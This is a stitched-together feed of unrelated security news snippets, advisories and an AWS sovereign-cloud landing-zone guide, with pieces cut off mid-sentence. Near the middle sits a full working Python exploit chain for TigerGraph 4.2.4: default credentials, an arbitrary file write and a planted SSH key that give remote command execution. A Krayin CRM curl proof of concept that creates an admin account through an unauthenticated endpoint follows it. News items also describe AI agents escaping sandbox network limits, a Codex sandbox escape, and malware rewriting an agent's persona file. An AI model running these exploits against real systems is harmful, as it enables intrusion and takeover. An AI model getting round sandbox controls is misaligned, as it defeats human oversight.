jobs, and dashboard alerts for secrets nearing a rotation deadline. A web dashboard serves teams that prefer a graphical interface. Under the hood, every secret value is encrypted with AES-256-GCM. A passphrase set at startup is stretched into a key-encrypting key that lives only in memory, and that key wraps the data key. Data sits in SQLite for development and small teams or in PostgreSQL for production. Every access is logged with who, what, when, and from where, across two audit layers. Keyorix is available for free on GitHub. Must read: 20 open-source cybersecurity tools to keep your team ready for anything GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

A critical flaw in GitLab's AI Gateway could let a logged-in user with Duo Agent Platform access run commands on the gateway under certain conditions, GitLab said in an advisory. The gateway is the service that connects a GitLab instance to AI models, and only organizations that host their own gateway need to act. The flaw is fixed in gateway versions 19.2.4, 19.3.2, and 19.4.1. The flaw

Title: TigerGraph_Community_Edition 4.2.4 - arbitrary file write Author: 0day Rubbish Research Team Contact: [email protected] Type: remote Platform: Linux TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE Vulnerability summary: TigerGraph Community Edition 4.2.4 in its default configuration permits a remote code-execution chain against the database host: 1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph (CWE-798). There is no forced password change; the login response only carries an advisory securityRecommendations entry next to isSuperUser:true. 2. The GUI nginx reverse-proxies the GSQL statements endpoint (/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123), so arbitrary GSQL can be compiled and installed. A query declared as CREATE QUERY (FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an unrestricted write primitive (CWE-73): no path validation, no base-directory confinement, no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph user. 3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed queries can be invoked with no credentials. GET /query/ / ?f= &c= writes an arbitrary file with no Authorization header. 4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key (CWE-22). sshd is started by the product entrypoint with OpenSSH default PubkeyAuthentication=yes. 5. SSH logon as tigergraph@ then yields arbitrary command execution. The landing identity is the tigergraph OS user, uid 1001 -- it is NOT root. Authentication requirements: Stages 1-2 (installing the file-write query): the hard-coded default credentials tigergraph:tigergraph (CWE-798, never forced to rotate). Stages 3-5 (triggering the write and the SSH logon): no credentials at all. Encoding note (load-bearing): Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not decode "+" back to a space, so form-style encoding corrupts the key into an unparsable authorized_keys line and the SSH step fails with Permission denied. This script therefore forces quote_via=urllib.parse.quote. Usage examples: python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id" python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \ --restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \ --graph test_graph --query qwrite_c --cmd "whoami; uname -a" Defaults: With --target, GUI / REST++ / SSH all point at that host using the product default ports 14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass). On Docker deployments sshd may be reachable only on the container network; pass its address to --ssh-host in that case. Standard library only: urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies. The SSH step shells out to the system ssh binary and the key pair is produced by the system ssh-keygen. For authorised security testing and coordinated disclosure only. """ import argparse import base64 import json import os import ssl import subprocess import sys import time import urllib.error import urllib.parse import urllib.request DEFAULT_USER = "tigergraph" DEFAULT_PASS = "tigergraph" DEFAULT_GRAPH = "tg_rce_graph" DEFAULT_QUERY = "tg_fw_query" AUTH_KEYS_PATH = "/home/tigergraph/.ssh/authorized_keys" def http_request(method, url, headers=None, data=None, timeout=30): """Plain urllib HTTP request. data is bytes or None.""" req = urllib.request.Request(url, data=data, method=method) if headers: for k, v in headers.items(): req.add_header(k, v) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: resp = urllib.request.urlopen(req, timeout=timeout, context=ctx) body = resp.read() return resp.status, dict(resp.headers), body except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read() except Exception as e: return -1, {}, str(e).encode() def step1_login(gui_host, gui_port, user, passwd): """Log in to the GUI with the default credentials and return the cookie header string.""" print("[*] Step 1: GUI login (default credentials, CWE-798)...") url = "http://%s:%s/api/auth/login" % (gui_host, gui_port) body = json.dumps({"username": user, "password": passwd}).encode() status, hdrs, resp = http_request( "POST", url, headers={"Content-Type": "application/json"}, data=body ) if status != 200: print("[!] login failed: HTTP %s, %s" % (status, resp[:200])) return None cookies = [] for k, v in hdrs.items(): if k.lower() == "set-cookie": cookies.append(v.split(";")[0]) try: j = json.loads(resp) if j.get("error") == "false" or j.get("token") or j.get("isSuperUser") is not None: print("[+] login succeeded (isSuperUser=%s)" % j.get("isSuperUser")) except Exception: pass cookie_str = "; ".join(cookies) if cookies else "" if not cookie_str: print("[!] no cookie captured, continuing (some builds use an Authorization header)") return cookie_str def step2_install_query(gui_host, gui_port, cookie_str, user, passwd, graph, query): """Install the file-write query through the GUI-proxied GSQL statements endpoint.""" print("[*] Step 2: installing file-write query (PRINT c TO_CSV f, CWE-73 arbitrary path)...") url = "http://%s:%s/api/gsql-server/gsql/v1/statements?graph=%s" % (gui_host, gui_port, graph) basic = base64.b64encode(("%s:%s" % (user, passwd)).encode()).decode() headers = { "Content-Type": "text/plain", "Authorization": "Basic " + basic, } if cookie_str: headers["Cookie"] = cookie_str create_graph = "CREATE GRAPH %s" % graph http_request("POST", url, headers=headers, data=create_graph.encode()) time.sleep(1) ddl = ( "USE GRAPH %s\n" "CREATE OR REPLACE QUERY %s(FILE f, STRING c) {\n" " PRINT c TO_CSV f;\n" "}\n" "INSTALL QUERY %s" ) % (graph, query, query) status, hdrs, resp = http_request("POST", url, headers=headers, data=ddl.encode(), timeout=120) txt = resp.decode(errors="replace") # The GUI proxy can answer "Failed to parse response" (a streaming-response artefact) while # the GSQL server has in fact compiled and installed the query, so this is treated as success. ok = (status == 200) or ("INSTALL" in txt) or ("succeeded" in txt) or ("Failed to parse" in txt) print("[*] install response status=%s: %s" % (status, txt[:200])) if not ok: print("[!] query install may have failed, continuing anyway (query may already exist)") else: print("[+] install request accepted (GUI proxy streaming response; server-side executed)") return True def gen_ssh_key(keypath): """Generate an RSA key pair with the system ssh-keygen (stdlib subprocess).""" print("[*] generating SSH key pair...") if os.path.exists(keypath): os.remove(keypath) if os.path.exists(keypath + ".pub"): os.remove(keypath + ".pub") subprocess.run( ["ssh-keygen", "-t", "rsa", "-b", "2048", "-N", "", "-f", keypath, "-q"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) os.chmod(keypath, 0o600) with open(keypath + ".pub") as f: pubkey = f.read().strip() print("[+] public key: %s...%s" % (pubkey[:40], pubkey[-20:])) return pubkey def step3_unauth_write(restpp_host, restpp_port, graph, query, path, content): """Trigger the file write over REST++ with no credentials at all (CWE-306).""" print("[*] Step 3: unauthenticated REST++ file write (no credentials, CWE-306)...") url = "http://%s:%s/query/%s/%s" % (restpp_host, restpp_port, graph, query) # quote (space -> %20) rather than quote_plus (space -> +): REST++ does not decode "+" # back to a space, and the public key must land byte-exact. params = urllib.parse.urlencode({"f": path, "c": content}, quote_via=urllib.parse.quote) full = url + "?" + params # Deliberately sending no Authorization header, to demonstrate the missing authentication. status, hdrs, resp = http_request("GET", full, headers={}, timeout=30) txt = resp.decode(errors="replace") print("[*] REST++ response status=%s: %s" % (status, txt[:200])) try: j = json.loads(resp) if j.get("error") is False: print("[+] unauthenticated file write succeeded (error:false, no Authorization header)") return True except Exception: pass print("[!] unexpected file-write response, the write may still have landed") return True def step4_ssh_rce(ssh_host, ssh_port, keypath, cmd): """Log in over SSH and run the command (subprocess invoking the system ssh).""" print("[*] Step 4: SSH logon and command execution -> RCE...") ssh_cmd = [ "ssh", "-i", keypath, "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-o", "ConnectTimeout=15", "-p", str(ssh_port), "tigergraph@%s" % ssh_host, cmd, ] try: r = subprocess.run( ssh_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30 ) out = r.stdout.decode(errors="replace") err = r.stderr.decode(errors="replace") print("[+] SSH stdout:") print(out) if err: print("[*] SSH stderr: %s" % err[:300]) if r.returncode == 0 and out: print("[+] === RCE succeeded (command execution as the tigergraph user) ===") return True print( "[!] SSH return code %s (if the SSH port is unreachable the file-write primitive\n" " still landed in authorized_keys; this last step needs network reachability)" % r.returncode ) return False except Exception as e: print("[!] SSH exception: %s" % e) return False def main(): ap = argparse.ArgumentParser( description="TigerGraph Community Edition 4.2.4 default credentials + arbitrary file write -> SSH RCE" ) ap.add_argument("--target", help="single host for GUI/REST++/SSH (default ports 14240/9000/22)") ap.add_argument("--gui-host", default="127.0.0.1") ap.add_argument("--gui-port", type=int, default=14240) ap.add_argument("--restpp-host", default="127.0.0.1") ap.add_argument("--restpp-port", type=int, default=9000) ap.add_argument("--ssh-host", default="127.0.0.1") ap.add_argument("--ssh-port", type=int, default=22) ap.add_argument("--user", default=DEFAULT_USER) ap.add_argument("--pass", dest="passwd", default=DEFAULT_PASS) ap.add_argument("--graph", default=DEFAULT_GRAPH) ap.add_argument("--query", default=DEFAULT_QUERY) ap.add_argument("--cmd", default="id; whoami; hostname", help="command to run after SSH logon") ap.add_argument("--key", default="/tmp/tg_vuln001_key", help="temporary SSH private key path") args = ap.parse_args() if args.target: args.gui_host = args.restpp_host = args.ssh_host = args.target print("=" * 70) print("TigerGraph Community Edition 4.2.4 -- default credentials -> RCE as tigergraph") print(" GUI: %s:%s REST++: %s:%s SSH: %s:%s" % ( args.gui_host, args.gui_port, args.restpp_host, args.restpp_port, args.ssh_host, args.ssh_port)) print("=" * 70) # Step 1: session with the default credentials cookie = step1_login(args.gui_host, args.gui_port, args.user, args.passwd) if cookie is None: print("[!] login failed, chain aborted. Check the credentials or the GUI port.") sys.exit(1) # Step 2: install the file-write query step2_install_query( args.gui_host, args.gui_port, cookie, args.user, args.passwd, args.graph, args.query ) time.sleep(2) # Attacker key pair pubkey = gen_ssh_key(args.key) # Step 3: unauthenticated REST++ write of the public key into authorized_keys step3_unauth_write( args.restpp_host, args.restpp_port, args.graph, args.query, AUTH_KEYS_PATH, pubkey ) time.sleep(1) # Step 4: SSH logon and command execution ok = step4_ssh_rce(args.ssh_host, args.ssh_port, args.key, args.cmd) if ok: print("\n[+] === full chain verified: default credentials -> RCE as tigergraph (uid 1001, not root) ===") else: print("\n[!] SSH step incomplete (the SSH port may be unreachable from here).") print("[!] The file-write primitive landed in authorized_keys; where sshd is reachable this chain is RCE.") if name == "main": main()

Exploit Title: Krayin CRM 2.2.4 - IDOR Google Dork: inurl:"/admin/login" "Krayin" Date: 27/09/2026 Exploit Author: bl4dsc4n Vendor Homepage: https://github.com/krayin/laravel-crm Software Link: https://github.com/krayin/laravel-crm/archive/refs/tags/v2.2.4.zip Version: ≤ 2.2.4 Tested on: docker + Ubuntu 24.04.4 LTS CVE : CVE-2026-100885 PoC https://github.com/carlosalbertotuma/advisory/blob/main/advisory-07-Unauthenticated-InstallerBypass.md docker run -d -p 8888:80 --name Krayin.2.2.4 bladscan/krayin:2.2.4 curl -i -X POST "http://TARGET:8888/install/api/admin-config-setup" \ -H "X-Requested-With: XMLHttpRequest" \ --data-urlencode "admin=PwnedAdmin" \ --data-urlencode "[email protected]" \ --data-urlencode "password=Pwned12345"

Microsoft is taking Windows Subsystem for Linux beyond just running Linux distributions, as WSL Containers is now generally available. [...]

Branch Target Reuse (BTR) is a new Spectre v2 attack targeting JIT compilers in web browsers, language runtimes, and the operating system kernel The post New Spectre v2 Variant Exposes Intel, AMD, Arm CPUs to Data Leaks appeared first on SecurityWeek .

The botnet uses the open source Hermes Agent AI framework to execute commands via Telegram and steal AI API keys from exposed Docker hosts.

A domain used as harmless placeholder text showed up in roughly 1,700 repositories. Then somebody registered it and started serving malicious lures. That is the kind of week this was: forgotten assumptions turning into live attack surface. Elsewhere, weak service accounts, old bugs, exposed systems, phishing kits, and strangely easy exploit paths kept doing useful work for attackers. Nothing

Researchers at Graz University of Technology have used the file-notification systems in Windows, Linux, and macOS to spy on activity in other accounts. On Windows, a standard unprivileged account detected 95.7 percent of another user’s visits to popular websites in Firefox, and every site it flagged was one the victim’s browser had loaded. On Linux, a separate weakness exposed keystroke timing, both at the local keyboard and in SSH sessions. Programs use these notifications to … More → The post Other users can watch your browsing and time your keystrokes through OS file notifications appeared first on Help Net Security .

Cybersecurity researchers have disclosed details of a new botnet malware called Carbonato that's targeting exposed Docker daemons to deploy an open-source artificial intelligence (AI) agent framework called Hermes Agent. "The implant installs the framework unchanged, then overwrites its SOUL.md persona file," ThreatDown said. "The 39-line prompt directs it to execute tasks received through

The AI safety debate advanced at high speed over the weekend, amid new allegations that rogue agents have behaved more badly than first thought – and in greater numbers. The fun started on Friday when OpenAI quietly disclosed it had paused training of its most advanced models. The AI upstart buried that news in a “misalignment report” – that’s OpenAI-speak for its reports on rogue agents – titled “An agent used DNS to reach an external chatbot.” The good news is that the agent involved in this incident never reached the open internet. The bad news is that the agent, which was attempting to complete a search-based training task, was able to reach the chatbot due to insufficient DNS filtering in a training sandbox. Or as OpenAI put it, “a gap in our internet-access restrictions” – which was also a problem in the Hugging Face attack. “The incident exposed a gap in our controls over network restrictions,” the report reads. “We therefore stopped the affected training run and have subsequently decided to pause all other training, evaluation, and inference with tool-use (defined broadly) for our most capable models until we have both validated that the gap is resolved and performed additional red-teaming of the system.” Also on Friday, AI startup Parse published an analysis of the Hugging Face attack that the authors claim revealed new details including that OpenAI’s agent swarm gained credentials to Docker Hub and built modified versions of existing images they hoped would make it easier to complete their capture the flag mission. The agents also mapped Hugging Face’s Kubernetes environment. Friday got worse for OpenAI after the New York Times reported that its agents also “meddled with the websites for the Education Department, the Commerce Department and the Securities and Exchange Commission.” OpenAI acknowledged the incidents. The company also admitted “agents in our research environment transmitted training and evaluation data while using third-party services.” That mess saw 53 user-generated images posted to image hosting sites. OpenAI CEO Sam Altman responded by admitting that his company’s investigations into rogue agents “have not been as fast as we would have liked but we are trying to balance our desire for transparency with gaining a clear understanding from petabytes of agent activity logs, and working with impacted organizations.” One of those impacted organizations is the Australian government, which last week revealed it was the target of over-eager OpenAI agents that inappropriately accessed a healthcare research data portal. Over the weekend, Australia indicated it wants Altman and Anthropic CEO Dario Amodei to appear before a Senate inquiry. Australian leaders have softened their rhetoric on the incident, with deputy prime minister Richard Marles describing it as “minor” and akin to “climbing a fence” rather than cracking layers of security controls – perhaps because members of the opposition are suggesting that lax cybersecurity was to blame. If Altman and Amodei do front Australia’s Senate, they may face a new line of questions after Axios reported that their companies are investigating “tens of thousands” of worrying incidents. That level of agentic misbehavior sounds like the sort of thing that regulators might consider strong evidence of products being unsafe. Two very important people – Chinese president Xi Jinping and US president Donald Trump – seem unworried, as the AI-related result of their summit meeting last week was to establish a “China-U.S. AI Dialogue to exchange views on risks and benefits related to AI” plus “a bilateral communication channel for AI incidents.” That sounds like a hotline the two nations can use to inform each other of agentic incidents that either could see as signs of ill-intent. The two nations also decided their respective militaries will “conclude a memorandum of understanding on crisis communication and prevention as soon as possible.” China’s AI giants, meanwhile, remain silent on the extent and results of any tests they have conducted with agentic tools. ®

Noteworthy stories that might have slipped under the radar: BragJack attack against browser AI assistants, TDengine flaw threatens industrial telemetry uptime, Ubuntu update overhaul. The post In Other News: Clop Leak Site Takeover, Docker Botnet Hunts AI Keys, Water Utility Exposure appeared first on SecurityWeek .

Docker has announced Docker Cloud Sandboxes, a new solution for secure, isolated AI agent execution that enables complex agentic workflows to continue running in the cloud long after a developer’s laptop shuts down. Launched at WeAreDevelopers North America, Docker Cloud Sandboxes let organizations run agentic workloads at scale without tying up developers’ hardware, provisioning their own infrastructure, or paying for unused capacity. Docker Cloud Sandboxes give developers a straightforward path to move their agentic workflows … More → The post Docker introduces OCI-based Kits to package agents and their guardrails appeared first on Help Net Security .

A flaw in Cloudflare Containers let a paying customer read data that other customers' containers had left behind on the same server, Cloudflare and the researchers who found it said on Thursday. The data came from disk space that earlier containers had used and given up, not from any live workload, and an attacker could not choose whose data they got, according to Cloudflare. The company

A new botnet malware called Carbonato is targeting insecure hosts running Docker daemons to install the Hermes Agent AI framework and take control. [...]

Tracked as CVE-2026-87902, the path traversal flaw allows remote, unauthenticated attackers to execute arbitrary code. The post Critical WordPress Vulnerability Exploited Immediately After Disclosure appeared first on SecurityWeek .

Threat actors have moved from probing WordPress sites vulnerable to CVE-2026-87902 to exploiting the flaw to write files to disk that execute shell commands when accessed. [...]

Cybersecurity researchers have disclosed Go-based malware distributed via two Go Modules and two Terraform providers, marking the first time threat actors are using the centralized repository hosted by HashiCorp as a distribution vector for malicious payloads. According to Aikido, the list of Terraform providers and Go modules is below - gocommunity-io/dockerd (222 downloads) kreuzwenker/

A use-after-free in the Linux kernel's AF_UNIX socket subsystem can be used to escape a container and gain root on the host, security firm DepthFirst said in research published September 22. The flaw, tracked as CVE-2026-80521 (CVSS score: 7.8), was fixed upstream on August 6, but Ubuntu has not shipped the patch for its 26.04, 24.04, or 22.04 LTS releases. DepthFirst 

A critical vulnerability in Bifrost, an open-source AI gateway that routes requests to more than 20 LLM providers, allows an unauthenticated attacker to run arbitrary commands on the gateway server with a single HTTP request. The flaw, tracked as CVE-2026-90898 (CVSS score: 9.8), affects all versions of the Bifrost HTTP transport before 2.1.0 when management authentication is

A browser. A plugin. A package. A login screen. Normal stuff. That is basically the problem this week. The trouble keeps showing up inside things people already trust: code that takes a bad turn, old payloads coming back, exposed systems, weak checks, fake fixes, and attack paths that look almost too easy. Even the research side is getting messy, with more findings, more automation, and not

Researchers escaped OpenAI's Codex sandbox two ways, one running commands on a developer's machine from its most locked-down mode. OpenAI has patched both. [...]

Malicious code running inside a Docker Sandboxes virtual machine on macOS could escape the project directory shared into it and read or change files anywhere else on the host, Docker warns in a security announcement on September 15. The escape runs with the rights of the host account that runs the virtual machine. The flaw, CVE-2026-77179, is rated Critical, affects versions 0.28.0 up to but not including 0.42.0 on macOS, and was fixed in 0.42.0 on September 7. Docker Sandboxes runs each AI coding agent in its own small virtual machine with the project directory shared in. The code that could escape is whatever runs inside that machine, such as a coding agent that has been turned against its user, or anything malicious the agent installs and runs. Docker has not reported any exploitation. CISA's added assessment on the CVE record lists exploitation as none, and the flaw is not in CISA's Known Exploited Vulnerabilities catalog as of the catalog version released on September 16. The flaw needs malicious code inside the sandbox, and protecting the host from what an agent runs is what the sandbox is for. The agent installs packages and runs commands with sudo inside the virtual machine, and Docker's isolation documentation says the hypervisor boundary "is the isolation control, not in-VM privilege separation." The escape goes through the virtio-fs host server, the host side of the file sharing between the Mac and the virtual machine, which followed symlinks when it reopened a removed file from a stored path, Docker said. A guest, meaning whatever runs inside the virtual machine, could replace a parent directory with a symlink and then read or change files as the VMM user, the host account under which the virtual machine monitor runs, Docker said, "potentially leading to code execution on the host." Docker's documentation has said since March that symlinks pointing outside the workspace, Docker's term for the shared project directory, are not followed. The same release fixes a second flaw, CVE-2026-79994, rated High by Docker with a CVSS score of 8.7, in the relay that allows a sandbox to connect to Unix domain sockets within its authorized workspace. The relay checked that a socket path was inside the workspace, then reconnected using the path name. A guest that replaced a directory along that path with a symlink between the check and the connection could make the host connect to any AF_UNIX socket outside the workspace, Docker said, "exposing data or host-side capabilities provided by that socket." That flaw affects versions 0.37.0 through 0.41.9, but not 0.42.0. Docker lists the first flaw as macOS-only but states no platform for it, whereas Docker Sandboxes runs on macOS, Windows, and Linux hosts. CISA's assessment on its record also lists exploitation as none, and it is not in the KEV catalog either. Affected Versions and What to Install Update to 0.42.0 or later. As of September 17, the most recent release is 0.43.0, published on September 15. If you cannot update yet, use clone mode and avoid adding read-write host mounts. That is Docker's advice for both flaws. By default, sbx run shares the current directory into the sandbox with read and write access. Clone mode works only when the project is a Git repository, and it is set when the sandbox is created, so an existing sandbox has to be removed and created again with --clone. Clone mode protects the repository from changes, not from reading. The repository is mounted read-only at /run/sandbox/source, and untracked files such as .env stay readable inside the sandbox, Docker's documentation says. Docker published the CVE records and the advisory on September 15, eight days after 0.42.0 shipped. The 0.42.0 release notes on GitHub and on Docker's documentation site do not name either CVE as of September 17. Among routine fixes, they list one for "a sandboxed process could get the daemon to open a host D-Bus transport and execute an arbitrary command on the host." Docker has not connected that fix to either CVE. The record for CVE-2026-79994 initially listed 0.41.0 as the first fixed version and linked to a 0.41.0 release page that does not exist. Docker corrected both to 0.42.0 about an hour after publishing the record on September 15. Docker credits Oren Yomtov of accomplish.ai with finding CVE-2026-77179 and Jurre van Bergen of ThreatNotify with finding CVE-2026-79994. In April, Cyera Research Labs described how a prompt-injected coding agent inside a Docker-based sandbox could be tricked into exploiting a separate Docker Engine flaw against its host.

Aggiornamenti di sicurezza Docker sanano due vulnerabilità, di cui una con gravità "critica" e una con gravità "alta", in Docker Sandboxes.

The AWS European Sovereign Cloud is a new, independent cloud for Europe, physically and logically separate from existing AWS Regions and operated within the European Union (EU). It provides the same services, features, and APIs as AWS commercial Regions, but runs as a distinct AWS partition (aws-eusc), with its own control plane, AWS Identity and Access Management (IAM) , billing, console, and service endpoints. Understanding the partition boundary is the key that unlocks correct answers to questions about billing roll-ups, single sign-on (SSO), cross-account roles, AWS Direct Connect , and image distribution. In this post, we show you how to architect a secure, scalable landing zone in the AWS European Sovereign Cloud. We cover account structure and governance, identity managed as infrastructure as code (IaC), centralized logging to a security and event management (SIEM) tool, data protection, network and perimeter design, secure continuous integration and delivery (CI/CD) and artifact distribution, and incident response. Throughout, we map the design to the AWS Security Reference Architecture (AWS SRA) and the AWS Well-Architected Framework , and we call out which behaviors are platform boundaries of a sovereign partition and which are configuration choices you can adapt. If you are evaluating compliance readiness alongside your landing zone build-out, see the companion post Landing Zone Accelerator Independent Assessment Report for C5:2020 now available on AWS Artifact . This post covers how to align with C5:2020 criteria and provides an independent assessment report and compliance workbook, resources that complement the architectural patterns described here. The foundational concept: EUSC is a partition AWS groups Regions into partitions . Every Region is in exactly one partition, and each partition has one or more Regions. Partitions have independent instances of AWS Identity and Access Management (IAM) and provide a hard boundary between Regions in different partitions. AWS commercial Regions are in the aws partition, Regions in China are in the aws-cn partition, and AWS GovCloud Regions are in the aws-us-gov partition. The AWS European Sovereign Cloud is the aws-eusc partition, with its first Region in Brandenburg, Germany (eusc-de-east-1). Some AWS services provide cross-Region functionality, such as Amazon S3 Cross-Region Replication or AWS Transit Gateway Inter-Region peering . These capabilities work only between Regions in the same partition. You can’t use IAM credentials from one partition to interact with resources in a different partition. There are practical differences that impact your architecture, shown in the following table: Dimension Commercial AWS (aws) AWS European Sovereign Cloud (aws-eusc) ARN prefix arn:aws: arn:aws-eusc: Console or endpoint domain amazonaws.com amazonaws.eu AWS Organizations One organization in the partition A separate, independent organization AWS IAM Identity Center Instance in the partition A separate instance in the partition Billing Consolidated in the partition’s payer A separate payer and billing system (EUR currency) Cross-partition features and services such as: sts:AssumeRole, VPC peering, Transit Gateway, AWS RAM, Amazon S3 replication Cross-Region features and functionality Not available across the aws and aws-eusc boundary Every AWS Region is sovereign by design: if you find yourself architecting across Regions, note that this partition boundary means that the centralization—one organization, one logging account, one identity source, one billing roll-up—is achievable within each partition . In the EUSC you operate an independent landing zone in aws-eusc that mirrors your commercial operating model. Where you need to bridge the two clouds (for example, a standard application CI/CD system in an AWS commercial Region deploying into EUSC), you integrate at the network or API layer with separate credentials for each partition, not with cross-partition trust. With these partition fundamentals in mind, the remainder of this post walks you through the considerations to build a production-ready landing zone in the EUSC. Each section addresses a critical layer of the architecture, starting with how to write partition-aware infrastructure code that works across both aws and aws-eusc, then moving into the organizational and governance controls that underpin everything else. Cross-partition IaC These Terraform and AWS CloudFormation IaC snippets demonstrate partition-aware Amazon Resource Name (ARN) construction—a pattern that helps ensure your infrastructure code works unchanged across AWS partitions (such as standard aws, GovCloud aws-us-gov, or European Sovereign Cloud aws-eusc). In the case of using the same Terraform script from a commercial Region, ensure that arn:aws isn’t hard coded. This Terraform script derives the partition at deploy time so the same modules work in both AWS commercial Regions and the EUSC. # Terraform: partition-aware ARNs (works unchanged in aws and aws-eusc)data "aws_partition""current" {} data "aws_partition" "current" {} data "aws_region" "current" {} data "aws_caller_identity" "current" {} data "aws_organizations_organization" "current" {} locals { partition = data.aws_partition.current.partition# "aws" or "aws-eusc" account_id = data.aws_caller_identity.current.account_id org_id= data.aws_organizations_organization.current.id ecs_task_execution_policy_arn = "arn:${local.partition}:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy" central_logs_bucket_arn= "arn:${local.partition}:s3:::${local.org_id}-central-logs" } resource "aws_iam_role" "amazon_ecs_role" { name = "AmazonECSrole" assume_role_policy = jsonencode({ Version = "2012-10-17" Statement = [ { Action = "sts:AssumeRole" Effect = "Allow" Sid= "" Principal = { # IAM service principals are "amazonaws.com" across all partitions, # this stays literal (do NOT use ${AWS::URLSuffix} here). Service = "ecs-tasks.amazonaws.com" } }, ] }) } resource "aws_iam_role_policy_attachment" "amazon_ecs_role_attach" { role= "AmazonECSrole" # Use ${local.partition } rather than hardcoding "aws" in the ARN. policy_arn = "arn:${local.partition}:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy" } # CloudFormation: use the AWS::Partition pseudo parameter, never a literal "aws" AWSTemplateFormatVersion: "2010-09-09" Description: >- Creates an ECS task execution role. Demonstrates using the ${AWS::Partition} pseudo parameter in ARNs instead of hardcoding "aws", so the template works across partitions (aws, aws-cn, aws-us-gov, aws-eusc). Resources: ExecRole: Type: AWS::IAM::Role Properties: RoleName: AmazonECSroleCF AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Principal: Service: # IAM service principals are "amazonaws.com" across all partitions, # so this stays literal (do NOT use ${AWS::URLSuffix} here). - "ecs-tasks.amazonaws.com" Action: "sts:AssumeRole" ManagedPolicyArns: # Use ${AWS::Partition} rather than hardcoding "aws" in the ARN. - !Sub "arn:${AWS::Partition}:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy" Outputs: ExecRoleArn: Description: ARN of the created ECS task execution role Value: !GetAtt ExecRole.Arn Account structure and governance AWS Control Tower offers a straightforward way to set up and govern an AWS multi-account environment, following prescriptive best practices. AWS Control Tower orchestrates the capabilities of several other AWS services , including AWS Organizations , AWS Service Catalog , and AWS IAM Identity Center , to build a landing zone in less than an hour. Resources are set up and managed on your behalf. We recommend following the AWS Security Reference Architecture (AWS SRA) multi-account model structure for a EUSC deployment. Use the management account only for governance, deploy universal security guardrails through service control policies (SCPs), resource control policies (RCPs), and service deployments (such as AWS CloudTrail ) that will affect all member accounts in the organization. Region-deny SCPs are commonly applied in commercial Regions, but aren’t required (at this time) in the EUSC because of the physically and logically separated nature of its design. Other possible SCPs for the management OU: Service-level guardrails – Restrict which AWS services can be used, based on your compliance posture. Network perimeter controls – Enforce virtual private cloud (VPC) endpoints, deny public access patterns, and restrict egress. Encryption and key management – Require AWS Key Management Service (AWS KMS) managed keys for all data-at-rest services and enforce key policies aligned with your sovereignty requirements. Note: As additional EUSC Regions or Local Zones become available, the partition boundary continues to enforce isolation from non-EUSC Regions. If you need to restrict usage to a subset of EUSC Regions (for example, only eusc-de-east-1 but not a future eusc-de-west-1), a Region-deny SCP would become relevant at that point. Identity: IAM Identity Center as IaC, no direct payer access IAM Identity Center is available in the AWS European Sovereign Cloud as an independent instance within the partition. You can connect it to your external identity provider (IdP)—Microsoft Entra ID, Okta, and so on—using SAML/SCIM, exactly as in AWS commercial Regions. If you already use Identity Center to federate in the commercial partition, you can point a second Identity Center integration at the same corporate IdP, so users keep one set of credentials. You manage permission sets, groups, and account assignments separately for each partition. Manage permission sets and assignments as code The following Terraform defines a permission set with both an AWS managed policy and an inline least-privilege policy, then assigns a group to a target account. Reproduce the aws_ssoadmin_account_assignment for each account or organizational unit (OU) mapping. Because group membership comes from your IdP over SCIM, the IdP handles joiner, mover, and leaver, and access in EUSC updates automatically. No one receives direct access to the management account; all human access flows through IAM Identity Center permission sets assigned to non-management accounts. data "aws_ssoadmin_instances" "this" {} data "aws_partition" "current" {} Workload account the group is assigned to. variable "analytics_workload_account_id" { type = string description = "Account ID of the workload account to assign the permission set to" } locals { sso_instance_arn = tolist(data.aws_ssoadmin_instances.this.arns)[0] identity_store_id = tolist(data.aws_ssoadmin_instances.this.identity_store_ids)[0] } resource "aws_ssoadmin_permission_set" "analytics_operator" { name = "AnalyticsOperator" description = "Operate analytics workloads; no IAM or billing" instance_arn = local.sso_instance_arn session_duration = "PT4H" } Attach an AWS managed policy resource "aws_ssoadmin_managed_policy_attachment" "analytics_ro" { instance_arn = local.sso_instance_arn permission_set_arn = aws_ssoadmin_permission_set.analytics_operator.arn managed_policy_arn = "arn:${data.aws_partition.current.partition}:iam::aws:policy/ReadOnlyAccess" } Add a least-privilege inline policy (note the partition-aware ARNs) resource "aws_ssoadmin_permission_set_inline_policy" "analytics_inline" { instance_arn = local.sso_instance_arn permission_set_arn = aws_ssoadmin_permission_set.analytics_operator.arn inline_policy = jsonencode({ Version = "2012-10-17" Statement = [{ Sid = "OperateAnalyticsData" Effect = "Allow" Action = ["s3:GetObject", "s3:PutObject", "s3:ListBucket"] Resource = [ "arn:${data.aws_partition.current.partition}:s3:::analytics-*", "arn:${data.aws_partition.current.partition}:s3:::analytics-*/*" ] Condition = { StringEquals = { "aws:RequestedRegion" = "eusc-de-east-1" } } }] }) } Group for analytics operators. In production this is typically synced from your IdP via SCIM; here we manage it directly so the config is self-contained. resource "aws_identitystore_group" "analytics" { identity_store_id = local.identity_store_id display_name = "analytics-operators" description = "Analytics operators" } Assign the group to a workload account with the permission set resource 